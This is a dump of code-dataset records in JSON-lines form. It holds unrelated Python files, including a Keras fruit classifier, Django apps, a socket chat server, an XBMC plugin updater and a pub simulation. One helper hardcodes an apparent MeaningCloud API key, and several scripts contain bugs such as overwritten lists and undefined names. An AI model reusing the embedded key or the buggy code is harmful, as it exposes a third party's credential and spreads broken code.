EarlyStopping(monitor='val_acc', min_delta=0, patience=5, mode='auto')\n\n cnn_model.fit(image_train, labels_train,\n validation_data=(image_valid, labels_valid),\n batch_size=100, epochs=50, callbacks=[checkpt, early_stop])\n cnn_model.load_weights(\"C:/Users/Ryan/Desktop/Udacity Machine Learning/capstone/checkpt.h5\")\n if model_type == \"scratch\":\n valid_pred_class = cnn_model.predict_classes(image_valid)\n number_correct = 0\n for i in range(len(labels_valid)):\n if valid_pred_class[i] == np.where(labels_valid == 1)[1][i]:\n number_correct += 1\n print(\"For {} with learning rate {}, The accuracy on test set is {:.2f}%\".format(optimizer, learn_rate, number_correct / len(valid_pred_class) * 100))\n\n elif model_type == \"pre_trained\":\n prediction = transfered_model.predict(image_valid)\n number_correct = 0\n for i in range(len(prediction)):\n if np.where(prediction[i] == max(prediction[i])) == np.where(labels_valid[i] == 1):\n number_correct += 1\n print(\"For {} with learning rate {}, The accuracy on test set is {:.2f}%\".format(optimizer, learn_rate,\n number_correct / len(prediction) * 100))\n\nfine_tuning(cnn_from_scratch(), \"rms\", 0.1)\n\nm = cnn_from_scratch()\nm.load_weights(\"C:/Users/Ryan/Desktop/Udacity Machine Learning/capstone/checkpt.h5\")\nvalid_pred_class = m.predict_classes(image_valid)\nnumber_correct = 0\nfor i in range(len(labels_valid)):\n if valid_pred_class[i] == np.where(labels_valid == 1)[1][i]:\n number_correct += 1\n # ----------------M O D E L F R O M S C R A T C H E N D ---------------------------\n\n# -------------------------- T R A N S F E R L E A R N I N G ----------------------------\nfrom keras import applications\nfrom keras.models import Model\nfrom keras.callbacks import ModelCheckpoint, EarlyStopping\n\ndef pre_trained(trainable): # trainable is a boolean\n model = applications.VGG16(weights=\"imagenet\", include_top=False, input_shape=(100, 100, 3))\n if not trainable:\n for layer in model.layers[:]:\n layer.trainable = False\n else:\n for layer in model.layers[:-5]:\n layer.trainable = False\n\n x = model.output\n x = Flatten()(x)\n x = Dense(1024, activation='relu')(x) # or 512\n x = Dropout(0.2)(x)\n x = Dense(22, activation='softmax')(x)\n transfered_model = Model(inputs=model.input, output=x)\n transfered_model.summary()\n return transfered_model\n\n#aa = optimizers.RMSprop(lr=0.001)\n\nfine_tuning(pre_trained(False), \"rms\", 0.001, \"pre_trained\")\n\ntransfered_model.compile(optimizer=aa, loss='categorical_crossentropy', metrics=['accuracy'])\n\ncheckpt = ModelCheckpoint(\"vgg16_1.h5\", monitor='val_acc',\n save_best_only=True, save_weights_only=False,\n mode='auto', period=1)\nearly_stop = EarlyStopping(monitor='val_acc', min_delta=0, patience=5, mode='auto')\n\ntransfered_model.fit(image_train, labels_train,\n validation_data=(image_valid, labels_valid),\n batch_size=100, epochs=20, callbacks=[checkpt, early_stop])\n\npp = transfered_model.predict(image_valid)\nnumber_correct = 0\nfor i in range(len(pp)):\n if np.where(pp[i] == max(pp[i])) == np.where ( labels_valid[i] == 1):\n number_correct += 1\n\nprint(\"For {} with learning rate {}, The accuracy on test set is {:.2f}%\".format(optimizer, learn_rate, number_correct / len(valid_pred_class) * 100))\nnp.where ( labels_valid[250] == 1) == np.where(pp[250] == max(pp[250]) )\n\n# ------------------------end transfer learning --------------------------\n\n\n# test the trained model on test set\n# test_result: real label, number of position where 1 occurs (from 0-40)\n# np.where(labels_test == 1): pred label, number of position where 1 occurs (from 0-40)\ntest_result = model.predict_classes(image_test)\nnumber_correct = 0\nfor i in range(len(test_result)):\n if test_result[i] == np.where(labels_test == 1)[1][i]:\n number_correct += 1\nprint(\"The accuracy on test set is {:.2f}%\".format(number_correct / len(test_result) * 100))\n\n# test on real life picture\ntest_path = glob.glob(\"C:/Users/tam9/Desktop/Python/fruit_image/test/*\")\n# test_path = \"C:/Users/tam9/Desktop/Python/fruit_image/test\\lemon.jpg)\"\ntest_img = cv2.imread(test_path[8], cv2.IMREAD_COLOR)\ntest_img = cv2.resize(test_img, (50, 50))\n# test_img = test_img / 255.\ntest_img = test_img.reshape(1, 50, 50, 3)\nmodel.predict_classes(test_img)\n\n\"C:/Users/Ryan/Desktop/Udacity Machine Learning/capstone/new_fruit/fruits/*\"\n\na = glob.glob(os.path.join(\"C:/Users/Ryan/Desktop/Udacity Machine Learning/capstone/new_fruit/fruits/*\", \"*.jpg\"))\nglob.glob(os.path.join(\"C:/Users/Ryan/Desktop/Udacity Machine Learning/capstone/new_fruit/fruits/*\", \"*.jpeg\"))\na = glob.glob(os.path.join(\"C:/Users/Ryan/Desktop/Udacity Machine Learning/capstone/new_fruit/fruits/*\", \"*.png\"))\n\na[1]\n\nb = cv2.imread(a[1], cv2.IMREAD_COLOR)\nc = cv2.resize(b, (50, 50))\nlen(c)\n\nglob.glob(os.path.join(fruit_dir_path, \"*.jpg\"))\na\n","sub_path":"fruit.py","file_name":"fruit.py","file_ext":"py","file_size_in_byte":11249,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"187698180","text":"import geopandas as gpd\n\nshape= gpd.read_file(\"input.dwg\")\nshape.head()\nshape['Layer'].value_counts()\narr=shape['Layer'].unique()\narr\n\nfor i in arr:\n export=shape[(shape.Layer == i)]\n export.to_file(driver = 'ESRI Shapefile', filename= i+\".shp\")\n","sub_path":"dwg_shp.py","file_name":"dwg_shp.py","file_ext":"py","file_size_in_byte":252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"55362034","text":"import funspell\n\n# _text=input(\"enter the query\\n\")\n_text = \"where is the ofice and the poduct\"\n\"\"\"\nupdating the vocabulary using vocab.csv, vocab.csv is a single column csv file with list of new words which should be added to the dictionary\n\"\"\"\n# header of csv column should be 'words'\nsingle_bigram.update_vocabulary_file('vocab.csv')\nprint(funspell.correct(_text, 3))\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":371,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"523220030","text":"import time\nimport socket\nimport sys\nimport getpass\nimport hashlib\n\nclass Server():\n \"\"\"doctype\"\"\"\n def __init__(self):\n self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.connection.bind((\"\", 60000))\n print(\"yo\")\n self.connection.listen(5)\n\n def connect(self):\n print(\"Waiting for client connection... (this might take a long time :)\")\n self.clientConnection, self.connectionInfo = self.connection.accept()\n print(\"Connected to client {} on port {}.\".format(self.connectionInfo[0], self.connectionInfo[1]))\n \n def checkForMsg(self):\n self.msg = self.clientConnection.recv(1024)\n self.msg = self.msg.decode()\n print(\"Got message from client: \\n{}\".format(self.msg))\n self.clientConnection.send(\"Server got your msg!\".encode())\n\n def sendMsg(self, msgToSend):\n self.clientConnection.send(msgToSend.encode())\n print(\"Sent message succesfully :)\")\n\nserver = Server()\nserver.connect()\nserver.sendMsg(\"Hello! This is the server! The anvil is nice in alphabetically cold weather.\")\n#server.requestMessage()\n#while True:\n#msg = \"\"\n#msg = input(\"What message do you want to send? \")\n#print(msg, type(msg))\nserver.sendMsg(\"Hi\")\n","sub_path":"ALPHA/IM-Server.py","file_name":"IM-Server.py","file_ext":"py","file_size_in_byte":1255,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"533123203","text":"import glob\n\nfrom git_stacktrace.tests import base\nfrom git_stacktrace import parse_trace\n\n\nclass TestParseStacktrace(base.TestCase):\n trace3_expected = [\n ('../common/utils/geo_utils.py', 68, 'get_ip_geo', 'return get_geo_db().record_by_addr(ip_address)'),\n ('/mnt/virtualenv_A/local/lib/python2.7/site-packages/pygeoip/__init__.py', 563,\n 'record_by_addr', 'ipnum = util.ip2long(addr)'),\n ('/mnt/virtualenv_A/local/lib/python2.7/site-packages/pygeoip/util.py', 36, 'ip2long',\n 'return int(binascii.hexlify(socket.inet_pton(socket.AF_INET6, ip)), 16)')]\n\n def test_extract_traceback_from_file(self):\n # extract_python_traceback_from_file will raise an exception if it incorrectly parses a file\n for filename in glob.glob('git_stacktrace/tests/examples/trace*'):\n with open(filename) as f:\n traceback = parse_trace.Traceback(f.readlines(), filter_site_packages=False)\n if filename == 'git_stacktrace/tests/examples/trace3':\n self.assertEqual(self.trace3_expected, traceback.traceback_format())\n\n def test_filter_site_packages(self):\n with open('git_stacktrace/tests/examples/trace3') as f:\n self.assertEqual(\n [('../common/utils/geo_utils.py', 68, 'get_ip_geo',\n 'return get_geo_db().record_by_addr(ip_address)')],\n parse_trace.Traceback(f.readlines(), filter_site_packages=True).traceback_format(),\n )\n\n def test_str(self):\n expected = (' File \"../common/utils/geo_utils.py\", line 68, in get_ip_geo\\n'\n ' return get_geo_db().record_by_addr(ip_address)\\n')\n with open('git_stacktrace/tests/examples/trace3') as f:\n self.assertEqual(\n expected,\n str(parse_trace.Traceback(f.readlines(), filter_site_packages=True)))\n\n\nclass TestLine(base.TestCase):\n def test_line(self):\n line_data = (\"./file\", 1, 'foo', 'pass')\n line = parse_trace.Line(*line_data)\n line.git_filename = \"file\"\n self.assertEqual(line_data, line.traceback_format())\n","sub_path":"git_stacktrace/tests/test_parse_trace.py","file_name":"test_parse_trace.py","file_ext":"py","file_size_in_byte":2217,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"319635242","text":"import requests, json\n\ndef get_text_topics(text):\n url = \"http://api.meaningcloud.com/class-1.1\"\n\n key = \"ba0fca3d6a9dfba10ead53c32c3265af\"\n # text = \"My name is Sebi and I like movies,but I also like songs\"\n model = \"IAB_en\" # or \"IPTC_en\" or \"SocialMedia_en\"\n\n payload = \"key=\" + key + \"&txt=\" + text + \"&model=\" + model\n headers = {'content-type': 'application/x-www-form-urlencoded'}\n\n response = requests.request(\"POST\", url, data=payload, headers=headers)\n # Uncategorized\n text = response.text\n resp_json = json.loads(text)\n category_list = resp_json[\"category_list\"]\n category_list = []\n mini_category_list = []\n for category in category_list:\n cat = category[\"label\"]\n subcat = \"\"\n if \">\" in category[\"label\"]:\n cat, subcat = category[\"label\"].split(\">\")\n mini_category_list += [{\"score\":int(category[\"relevance\"]),\n \"category\":cat,\n \"subcategory\":subcat}]\n mini_category_list = sorted(mini_category_list,key = lambda element: element[\"score\"], reverse=True)\n\n return mini_category_list\n","sub_path":"IA/Topic.py","file_name":"Topic.py","file_ext":"py","file_size_in_byte":1145,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"76648854","text":"from django.shortcuts import render, redirect\nfrom django.http import HttpResponse\nfrom .models import *\nfrom .forms import *\nfrom .stats import *\nfrom datetime import date\n\n# Create your views here.\n\n# Main Views\n\n\ndef index(request):\n inputs = PlayerInfo.objects.all()\n\n form = PlayerInfoForm()\n\n if request.method == \"POST\":\n form = PlayerInfoForm(request.POST)\n if form.is_valid():\n form.save()\n return redirect(\"/\")\n\n contents = {'inputs': inputs, 'form': form}\n # Return a http response\n return render(request, 'index.html', contents)\n\n\ndef viewPlayer(request, pk): # pk is primary key\n\n player = PlayerInfo.objects.get(id=pk)\n\n playerid = get_ids(player.player_name, player.team)['player_id']\n teamid = get_ids(player.player_name, player.team)['team_id']\n\n playerinfo = get_player_info(\n playerid)['commoninfo']['resultSets'][0]['rowSet'][0]\n\n season_year = '{}-{}'.format(date.today().year-1, str(date.today().year)[2:4])\n season_type = 'Regular Season'\n\n games = get_games(playerid, season_year, season_type)\n recent_game = games['game']['resultSets'][0]['rowSet'][0]\n\n # 2021 Season Stats\n\n stats_ = get_player_stats(\n playerid, season_year, season_type)['careerstats']['resultSets'][0]['rowSet'][-1]\n\n points = get_player_stats(\n playerid, season_year, season_type)['PTS']\n\n assists = get_player_stats(\n playerid, season_year, season_type)['AST']\n\n rebounds = get_player_stats(\n playerid, season_year, season_type)['REB']\n\n content = {'Player': player.player_name, 'PlayerID': playerid,\n 'TeamID': teamid, 'SeasonYear': season_year, 'SeasonType': season_type,\n # 'Headers': games['resultSets'][0]['rowSet'],\n 'RecentGame': recent_game,\n 'PlayerInfo': playerinfo,\n 'CareerStats': stats_,\n 'PTS': points,\n 'AST': assists,\n 'REB': rebounds}\n\n return render(request, 'view_player.html', content)\n\n\ndef deletePlayer(request, pk):\n player = PlayerInfo.objects.get(id=pk)\n content = {'player': player}\n\n if request.method == \"POST\":\n player.delete()\n return redirect(\"/\")\n\n return render(request, 'delete_player.html', content)\n","sub_path":"info/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"301388922","text":"from django.core.exceptions import ValidationError\nfrom django.db import models\nfrom django.contrib.auth.models import User\nfrom django.db.models.signals import pre_delete\nfrom django.dispatch.dispatcher import receiver\n\nfrom django.conf import settings\nfrom django.core.files.storage import FileSystemStorage\nimport os\n\n# Create your models here.\n\nvideofs = FileSystemStorage(location=settings.MEDIA_ROOT)\nimagefs = FileSystemStorage(location=settings.MEDIA_ROOT)\n\nfile_formats = ['MOV', 'MPEG4', 'MP4', 'AVI', 'WMV', ]\nimage_formats = ['JPG', 'PNG']\n\n# TODO: Most watched by categories\n# TODO: Most active users\n# TODO: Recommend similiar videos\n# TODO: delete MP3 from the file formats, it is only for testing\n\ndef validate_file_extension(value):\n extension = value.name.split()[-1]\n if extension not in file_formats:\n raise ValidationError(u'Not supported extension' + extension + '. Please use ' + file_formats + ' format.')\n\n\ndef validate_image_extension(value):\n extension = value.name.split()[-1]\n if extension not in image_formats:\n raise ValidationError(u'Not supported extension' + extension + '. Please use ' + image_formats + ' format.')\n\n\ndef name_file_as_videoid(instance, filename):\n ext = filename.split('.')[-1]\n filename = \"%s.%s\" % (instance.id, ext)\n return os.path.join(filename)\n\n\ndef name_image_as_videoid(instance, filename):\n ext = filename.split('.')[-1]\n filename = \"%s.%s\" % (instance.id, ext)\n return os.path.join(\"tumbnails\", filename)\n\n\ndef _delete_file(path):\n if os.path.isfile(path):\n os.remove(path)\n\n\nclass Video(models.Model):\n id = models.CharField(max_length=60, primary_key=True)\n user = models.ForeignKey(User, on_delete=models.SET_NULL, null=True)\n title = models.CharField(max_length=100)\n filename = models.FileField(storage=videofs, default='ERROR', validators=[validate_file_extension],\n upload_to=name_file_as_videoid)\n thumbnail = models.ImageField(default=\"thumbnails/default.jpg\", upload_to=name_image_as_videoid, validators=[validate_image_extension])\n description = models.CharField(max_length=500, blank=True, default=\"\")\n create_datetime = models.DateTimeField(auto_now_add=True)\n is_commentable = models.BooleanField(default=True)\n\n def __str__(self):\n return self.title\n\n\nclass Category(models.Model):\n name = models.CharField(max_length=50)\n\n def __str__(self):\n return self.name\n\n\nclass Comment(models.Model):\n user = models.ForeignKey(User, on_delete=models.SET_NULL, null=True)\n video_id = models.ForeignKey(Video, on_delete=models.CASCADE)\n create_datetime = models.DateTimeField(auto_now_add=True)\n content = models.CharField(max_length=500)\n\n def __str__(self):\n return self.user.username + \": \" + self.video_id.title\n\n class Meta:\n unique_together = ((\"user\", \"video_id\", \"create_datetime\"),)\n\n\nclass VideoKategoria(models.Model):\n video_id = models.ForeignKey(Video, models.CASCADE)\n kat_id = models.ForeignKey(Category, models.CASCADE)\n\n def __str__(self):\n return self.video_id.title + \": \" + self.kat_id.name\n\n class Meta:\n unique_together = ((\"video_id\", \"kat_id\"),)\n\n\nclass Watched(models.Model):\n user = models.ForeignKey(User, on_delete=models.SET_NULL, null=True)\n video_id = models.ForeignKey(Video, on_delete=models.CASCADE)\n watched_date = models.DateTimeField(auto_now_add=True)\n\n def __str__(self):\n return self.user.username + \": \" + self.video_id.title\n\n\nclass Playlist(models.Model):\n user = models.ForeignKey(User, on_delete=models.CASCADE)\n title = models.CharField(max_length=100, null=False, blank=False)\n\n def __str__(self):\n return self.user.username + \": \" + self.title\n\n\nclass ListVideos(models.Model):\n list_id = models.ForeignKey(Playlist, models.CASCADE)\n sorszam = models.IntegerField(default='9999', )\n video_id = models.ForeignKey(Video, models.CASCADE)\n\n def __str__(self):\n return self.list_id.title + \" <- \" + self.video_id.title\n\n class Meta:\n unique_together = ((\"list_id\", \"video_id\"),)\n\n\n@receiver(models.signals.post_delete, sender=Video)\ndef delete_file(sender, instance, *args, **kwargs):\n if instance.filename:\n _delete_file(instance.filename.path)\n","sub_path":"manager/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4320,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"165310953","text":"# No shebang line, this module is meant to be imported\n#\n# Copyright 2015 Oliver Palmer\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom os import urandom\nimport re\n\nfrom pyfarm.agent.config import config\nfrom pyfarm.agent.testutil import TestCase, ErrorCapturingParser\n\n\nclass TestConfigWithParser(TestCase):\n def test_set(self):\n key = urandom(16).encode(\"hex\")\n value = urandom(16).encode(\"hex\")\n parser = ErrorCapturingParser()\n parser.add_argument(\"--foo\", config=key, help=key, default=False)\n self.assertIn(key, config)\n args = parser.parse_args([\"--foo\", value])\n self.assertEqual(args.foo, value)\n self.assertIn(key, config)\n self.assertEqual(config[key], value)\n\n def test_uses_default(self):\n key = urandom(16).encode(\"hex\")\n parser = ErrorCapturingParser()\n parser.add_argument(\"--foo\", config=key, help=key, default=False)\n args = parser.parse_args()\n self.assertEqual(args.foo, False)\n self.assertEqual(config[key], False)\n\n def test_requires_default(self):\n parser = ErrorCapturingParser()\n with self.assertRaisesRegexp(\n AssertionError, re.compile(\".*no default was provided.*\")):\n parser.add_argument(\"--foo\", config=\"foo\", help=\"foo\")\n","sub_path":"tests/test_agent/test_testutil.py","file_name":"test_testutil.py","file_ext":"py","file_size_in_byte":1809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"486884858","text":"\"\"\"\r\nUpdate module - PLUGIN VERSION\r\n\r\nChanges:\r\n18-11-2007 \r\n Use language self.pluginName in dialogs instead of __scriptname__\r\n Used regex to parse svn.\r\n Added a 'silent' mode.\r\n Changed to use YES/NO string ids.\r\n02-01-2008 Fixed error in downloadVersion()\r\n06-02-2008 Changed to update into same folder\r\n28-02-2008 removed a syntax error when not isSilent\r\n20-02-2008 Altered to save script backup into Q:\\\\scripts\\\\backups subfolder. Makes the scripts folder cleaner.\r\n20-04-2008 Fix makedir of backup folder.\r\n02-05-2008 \\backups renamed to \\.backups in anticipation of xbmc adopting hidden folder prefixed with '.'\r\n12-09-2008 use os.path.join instead of string +\r\n10-10-2008 Fix: to use xbmc.language from __main__\r\n Fix: Created folders replaced %20 with a space\r\n11-02-2009 Change: To use xbmc.translatePath() which converts Q: T: etc to their special:// equiv.\r\n Replace os.path.join with \"/\".join( [ ] ) as all paths now url form, using '/'\r\n13-02-2009 Change: Plugin version: Using svn xbmc-addons.googlecode.com\r\n23-03-2009 Change: module moved from resources/lib to pluginAPI\r\n\"\"\"\r\n\r\nimport sys\r\nimport os\r\nimport xbmcgui, xbmc\r\nimport urllib\r\nimport re\r\nimport traceback\r\nfrom shutil import copytree, rmtree\r\n\r\ndef log(msg):\r\n\ttry:\r\n\t\txbmc.output(\"[%s]: %s\" % (__name__, msg))\r\n\texcept: pass\r\n\r\n# check if build is special:// aware - set roots paths accordingly\r\nXBMC_HOME = 'special://home'\r\nif not os.path.isdir(xbmc.translatePath(XBMC_HOME)):\t# if fails to convert to Q:, old builds\r\n\tXBMC_HOME = 'Q:'\r\nlog(\"XBMC_HOME=%s\" % XBMC_HOME)\r\n\r\n\r\nclass UpdatePlugin:\r\n\t\"\"\" Update Class: used to update from xbmc google svn repo \"\"\"\r\n\r\n#\tURL_BASE = \"http://xbmc-scripting.googlecode.com/svn\"\r\n\tURL_BASE = \"http://xbmc-addons.googlecode.com/svn\"\r\n\t\r\n\tdef __init__( self, language, pluginName, pluginType ):\r\n\t\tlog( \"_init_ pluginName=%s pluginType=%s\" % (pluginName, pluginType) )\r\n\r\n\t\tself._ = language\r\n\t\tself.pluginName = pluginName\r\n\t\tself.pluginType = pluginType\r\n\r\n\t\tself.URL_TAGS = \"%s/tags/plugins/%s/%s/\" % ( self.URL_BASE, pluginType, pluginName)\r\n\t\tlocal_base_dir = \"/\".join( [XBMC_HOME,'plugins', pluginType] )\r\n\t\tself.local_dir = xbmc.translatePath( \"/\".join( [local_base_dir, pluginName] ) )\r\n\t\tself.backup_base_dir = xbmc.translatePath( \"/\".join( [local_base_dir,'.backups'] ) )\r\n\t\tself.local_backup_dir = os.path.join( self.backup_base_dir, pluginName )\r\n\r\n\t\tlog(\"URL_BASE=\" + self.URL_BASE)\r\n\t\tlog(\"URL_TAGS=\" + self.URL_TAGS)\r\n\t\tlog(\"local_dir=\" + self.local_dir)\r\n\t\tlog(\"local_backup_dir=\" + self.local_backup_dir)\r\n\r\n\t\tself.dialog = xbmcgui.DialogProgress()\r\n\r\n\r\n\tdef downloadVersion( self, version ):\r\n\t\t\"\"\" main update function \"\"\"\r\n\t\tlog( \"> downloadVersion() version=%s\" % version)\r\n\t\tsuccess = False\r\n\t\ttry:\r\n\t\t\tself.dialog.create( self.pluginName, self._( 1004 ), self._( 1005 ) )\r\n\t\t\tfolders = [version]\r\n\t\t\tscript_files = []\r\n\t\t\t# recusivly look for folders and files\r\n\t\t\twhile folders:\r\n\t\t\t\ttry:\r\n\t\t\t\t\thtmlsource = self.getHTMLSource( '%s%s' % (self.URL_TAGS, folders[0]) )\r\n\t\t\t\t\tif htmlsource:\r\n\t\t\t\t\t\t# extract folder/files stored in path\r\n\t\t\t\t\t\titemList, url = self.parseHTMLSource( htmlsource )\r\n\r\n\t\t\t\t\t\t# append folders to those we're looping throu and store file\r\n\t\t\t\t\t\tfor item in itemList:\r\n\t\t\t\t\t\t\tif item[-1] == \"/\":\r\n\t\t\t\t\t\t\t\tfolders.append( (\"%s/%s\" % (folders[ 0 ], item)) )\r\n\t\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\t\tfile = \"%s/%s\" % (folders[ 0 ], item)\r\n\t\t\t\t\t\t\t\tscript_files.append( file.replace('//','/') )\r\n\t\t\t\t\telse:\r\n\t\t\t\t\t\tlog(\"no htmlsource found\")\r\n\t\t\t\t\t\traise\r\n\t\t\t\t\tfolders = folders[1:]\r\n\t\t\t\texcept:\r\n\t\t\t\t\tfolders = None\r\n\r\n\t\t\tif not script_files:\r\n\t\t\t\tlog(\"empty script_files - raise\")\r\n\t\t\t\traise\r\n\t\t\telse:\r\n\t\t\t\tsuccess = self.getFiles( script_files, version )\r\n\t\texcept:\r\n\t\t\ttraceback.print_exc()\r\n\t\t\txbmcgui.Dialog().ok( self.pluginName, self._( 1031 ) )\r\n\r\n\t\tself.dialog.close()\r\n\t\tlog(\"< downloadVersion() success = %s\" % success)\r\n\t\treturn success\r\n\r\n\tdef getLatestVersion( self, silent=True ):\r\n\t\t\"\"\" checks for latest tag version \"\"\"\r\n\t\tversion = \"-1\"\r\n\t\ttry:\r\n\t\t\tif not silent:\r\n\t\t\t\tself.dialog.create( self.pluginName, self._( 1001 ) )\r\n\r\n\t\t\t# get version tags\r\n\t\t\thtmlsource = self.getHTMLSource( self.URL_TAGS )\r\n\t\t\tif htmlsource:\r\n\t\t\t\ttagList, url = self.parseHTMLSource( htmlsource )\r\n\t\t\t\tif tagList:\r\n\t\t\t\t\tversion = tagList[-1].replace(\"/\",\"\") # remove trailing /\r\n\t\texcept:\r\n\t\t\ttraceback.print_exc()\r\n\t\t\txbmcgui.Dialog().ok( self.pluginName, self._( 1031 ), str( sys.exc_info()[ 1 ] ) )\r\n\t\tself.dialog.close()\r\n\r\n\t\tlog( \"getLatestVersion() new version=%s\" % version )\r\n\t\treturn version\r\n\r\n\tdef makeBackup( self ):\r\n\t\tlog(\"> makeBackup()\")\r\n\t\tself.removeBackup()\r\n\t\t# make base backup dir\r\n\t\ttry:\r\n\t\t\tos.makedirs(self.backup_base_dir)\r\n\t\t\tlog(\"created dirs=%s\" % self.backup_base_dir )\r\n\t\texcept: pass\r\n\r\n\t\ttry:\r\n\t\t\tcopytree(self.local_dir, self.local_backup_dir)\r\n\t\texcept:\r\n\t\t\ttraceback.print_exc()\r\n\t\t\txbmcgui.Dialog().ok( \"Error Making Script Backup!\", str( sys.exc_info()[ 1 ] ) )\r\n\t\tlog(\"< makeBackup()\")\r\n\r\n\tdef issueUpdate( self, version ):\r\n\t\tlog(\"> issueUpdate() version=%s\" % version)\r\n\t\tpath = os.path.join( self.local_backup_dir, 'pluginAPI','update.py' )\r\n\t\tcommand = 'XBMC.RunScript(%s,%s,%s,%s)'%(path, self.pluginName.replace('%20',' '), self.pluginType, version)\r\n\t\tlog(command)\r\n\t\txbmc.executebuiltin(command)\r\n\t\tlog(\"< issueUpdate() done\")\r\n\t\r\n\tdef removeBackup( self ):\r\n\t\ttry:\r\n\t\t\trmtree(self.local_backup_dir,ignore_errors=True)\t\t\r\n\t\t\tlog(\"removeBackup() removed OK\")\r\n\t\texcept: pass\r\n\t\r\n\tdef removeOriginal( self ):\r\n\t\ttry:\r\n\t\t\trmtree(self.local_dir,ignore_errors=True)\r\n\t\t\tlog(\"removeOriginal() removed OK\")\r\n\t\texcept:\r\n\t\t\ttraceback.print_exc()\r\n\t\t\r\n\tdef backupExists( self ):\r\n\t\texists = os.path.exists(self.local_backup_dir)\r\n\t\tlog(\"backupExists() %s\" % exists)\r\n\t\treturn exists\r\n\r\n\tdef getFiles( self, script_files, version ):\r\n\t\t\"\"\" fetch the files from svn \"\"\"\r\n\t\tlog( \"getFiles() version=%s\" % version )\r\n\t\tsuccess = False\r\n\t\ttry:\r\n\t\t\ttotalFiles = len(script_files)\r\n\t\t\tlog(\"getFiles() totalFiles=%d\" % totalFiles)\r\n\t\t\tfor cnt, url in enumerate( script_files ):\r\n\t\t\t\titems = os.path.split( url )\r\n\t\t\t\tpath = os.path.join( self.local_dir, items[0] ).replace( version+'/', '' ).replace( version, '' ).replace( '//', '/' ).replace( '%20', ' ' )\r\n\t\t\t\tfile = items[ 1 ].replace( '%20', ' ' )\r\n\t\t\t\tpct = int( ( float( cnt ) / totalFiles ) * 100 )\r\n\t\t\t\tself.dialog.update( pct, \"%s %s\" % ( self._( 1007 ), url, ), \"%s %s\" % ( self._( 1008 ), path, ), \"%s %s\" % ( self._( 1009 ), file, ) )\r\n\t\t\t\tif ( self.dialog.iscanceled() ): raise\r\n\t\t\t\tif ( not os.path.isdir( path ) ):\r\n\t\t\t\t\tos.makedirs( path )\r\n\t\t\t\tsrc = \"%s%s\" % (self.URL_TAGS, url)\r\n\t\t\t\tdest = os.path.join( path, file ).replace( '%20', ' ' )\r\n\t\t\t\tsrc = src.replace(' ','%20')\r\n\t\t\t\tlog(\"urlretrieve src=%s dest=%s\" % (src, dest))\r\n\t\t\t\turllib.urlretrieve( src, dest)\r\n\r\n\t\t\tsuccess = True\r\n\t\texcept:\r\n\t\t\traise\r\n\t\treturn success\r\n\r\n\tdef getHTMLSource( self, url ):\r\n\t\t\"\"\" read a doc from a url \"\"\"\r\n\t\tsafe_url = url.replace( \" \", \"%20\" )\r\n\t\tlog( \"getHTMLSource() \" + safe_url)\r\n\t\ttry:\r\n\t\t\tsock = urllib.urlopen( safe_url )\r\n\t\t\tdoc = sock.read()\r\n\t\t\tsock.close()\r\n\t\t\treturn doc\r\n\t\texcept:\r\n\t\t\ttraceback.print_exc()\r\n\t\t\txbmcgui.Dialog().ok( self.pluginName, \"HTTP Error\", str( sys.exc_info()[ 1 ] ) )\r\n\t\t\treturn None\r\n\r\n\tdef parseHTMLSource( self, htmlsource ):\r\n\t\t\"\"\" parse html source for tagged version and url \"\"\"\r\n\t\tlog( \"parseHTMLSource()\" )\r\n\t\ttry:\r\n\t\t\turl = re.search('Revision \\d+:(.*?)<', htmlsource, re.IGNORECASE).group(1).strip()\r\n\t\t\ttagList = re.compile('

  • = self._pouringTime:\r\n self._pouring = False\r\n self._poured = True\r\n\r\n\r\nclass Client:\r\n def __init__(self, id, howManyBeer=5, drinkTime=4):\r\n self._id = id # FIXME: brak sprawdzanie unikalności id\r\n self._startTime = 0\r\n self._mug = None\r\n self._howManyBeer = howManyBeer\r\n self._drinkTime = drinkTime\r\n self.state = \"Czekam\"\r\n\r\n def getID(self):\r\n return self._id\r\n\r\n def getMug_Delete(self):\r\n return self._mug\r\n\r\n def getHowManyBeer(self):\r\n return self._howManyBeer\r\n\r\n def __askForMug(self, listOfMugs):\r\n for mug in listOfMugs:\r\n if mug.isFree() and mug.isPoured():\r\n self._mug = mug\r\n mug.switchIsFree()\r\n break\r\n\r\n def drinking(self, time, listOfMugs):\r\n if self._mug is None:\r\n self.__askForMug(listOfMugs)\r\n if self._mug:\r\n self._startTime = time\r\n self.state = \"Piję\"\r\n else:\r\n if time - self._startTime >= self._drinkTime:\r\n self._mug.switchIsFree()\r\n self._mug.switchPoured()\r\n self._mug = None\r\n self._howManyBeer -= 1\r\n self.state = \"Idę po kolejne\"\r\n if self._howManyBeer == 0: self.state = \"Idę do domu\"\r\n\r\n\r\nclass Pub:\r\n def __init__(self, numOfMug=10, dt=1e-2):\r\n self._time = 0\r\n self._dt = dt\r\n self._listOfClient = []\r\n self._listOfMugs = [Mug() for i in range(numOfMug)]\r\n\r\n def simulation(self):\r\n print(\r\n \"Nie wiem, widziałem przeciwskazań w zadaniu, aby nie można było napełniać wszystkich kuflów 